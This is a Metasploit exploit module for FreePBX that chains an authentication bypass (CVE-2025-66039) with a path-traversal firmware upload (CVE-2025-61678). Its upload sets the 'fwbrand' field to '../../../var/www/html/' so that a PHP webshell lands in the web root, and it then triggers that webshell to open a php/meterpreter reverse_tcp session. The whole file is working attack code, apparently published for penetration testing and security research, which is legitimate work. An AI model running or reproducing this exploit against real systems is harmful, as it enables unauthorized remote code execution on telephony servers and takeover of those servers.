## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'FreePBX firmware file upload', 'Description' => %q{ The FreePBX versions prior to 16.0.44,16.0.92 and 17.0.6,17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61678, in the context of this module. The versions before 16.0.44 and 17.0.23 are vulnerable to CVE-2025-66039, while versions before 16.0.92 and 17.0.6 are vulnerable to CVE-2025-61678. The former represents an authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to authenticate as any user. The latter allows unrestricted file uploads via firmware upload, including path traversal. These vulnerabilities allow unauthenticated remote code execution by bypassing authentication and placing a webshell in the web server's directory. }, 'License' => MSF_LICENSE, 'Author' => [ 'Noah King', # research 'msutovsky-r7' # module ], 'References' => [ [ 'CVE', '2025-66039'], # Authentication Bypass [ 'CVE', '2025-61678'], # File Upload and Path Traversal [ 'URL', 'https://horizon3.ai/attack-research/the-freepbx-rabbit-hole-cve-2025-66039-and-others/'] ], 'Platform' => ['php'], 'Targets' => [ [ 'PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, 'Type' => :php } ] ], 'DisclosureDate' => '2025-12-11', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options( [ OptString.new('USERNAME', [true, 'A valid FreePBX user']), ] ) end def check res = send_request_cgi({ 'uri' => normalize_uri('admin', 'config.php'), 'method' => 'GET' }) if (res&.code == 401 && res.body.include?('FreePBX')) || (res.code == 500) return CheckCode::Detected('The FreePBX with Webserver authentication mode detected') end CheckCode::Safe('Webserver authorization mode is not set') end def get_session_cookie res = send_request_cgi({ 'uri' => normalize_uri('admin', 'config.php'), 'method' => 'GET', 'headers' => { 'Authorization' => basic_auth(datastore['USERNAME'], Rex::Text.rand_text_alphanumeric(6)) }, 'keep_cookies' => true }) fail_with(Failure::UnexpectedReply, 'Received unexpected reply') unless res&.code == 401 fail_with(Failure::NotVulnerable, 'Target might not be vulnerable to authentication bypass') unless res.get_cookies end def upload_webshell @target_payload_file_name = %(#{Rex::Text.rand_text_alphanumeric(8).downcase}.php) @target_dir = Rex::Text.rand_text_alphanumeric(8).downcase form_data = Rex::MIME::Message.new form_data.add_part(SecureRandom.uuid, nil, nil, 'form-data; name="dzuuid"') form_data.add_part('0', nil, nil, 'form-data; name="dzchunkindex"') form_data.add_part(payload.encoded.length.to_s, nil, nil, 'form-data; name="dztotalfilesize"') form_data.add_part('2000000', nil, nil, 'form-data; name="dzchunksize"') form_data.add_part('1', nil, nil, 'form-data; name="dztotalchunkcount"') form_data.add_part('0', nil, nil, 'form-data; name="dzchunkbyteoffset"') form_data.add_part("../../../var/www/html/#{@target_dir}", nil, nil, 'form-data; name="fwbrand"') form_data.add_part('1', nil, nil, 'form-data; name="fwmodel"') form_data.add_part('1', nil, nil, 'form-data; name="fwversion"') form_data.add_part(payload.encoded, 'application/octet-stream', nil, %(form-data; name="file"; filename="#{@target_payload_file_name}")) res = send_request_cgi({ 'uri' => normalize_uri('admin', 'ajax.php'), 'method' => 'POST', 'headers' => { 'Authorization' => basic_auth(Rex::Text.rand_text_alphanumeric(6), Rex::Text.rand_text_alphanumeric(6)), 'Referer' => full_uri(normalize_uri('admin', 'config.php')) }, 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", 'vars_get' => { 'module' => 'endpoint', 'command' => 'upload_cust_fw' }, 'data' => form_data.to_s }) fail_with(Failure::PayloadFailed, 'Failed to upload webshell') unless res&.code == 500 register_dir_for_cleanup("../#{@target_dir}") end def trigger_payload send_request_cgi({ 'uri' => normalize_uri(@target_dir, @target_payload_file_name), 'method' => 'GET' }) end def exploit print_status('Trying to bypass authentication...') get_session_cookie print_good('Bypass successful, trying upload webshell...') upload_webshell print_good('Upload successful, triggering...') trigger_payload end end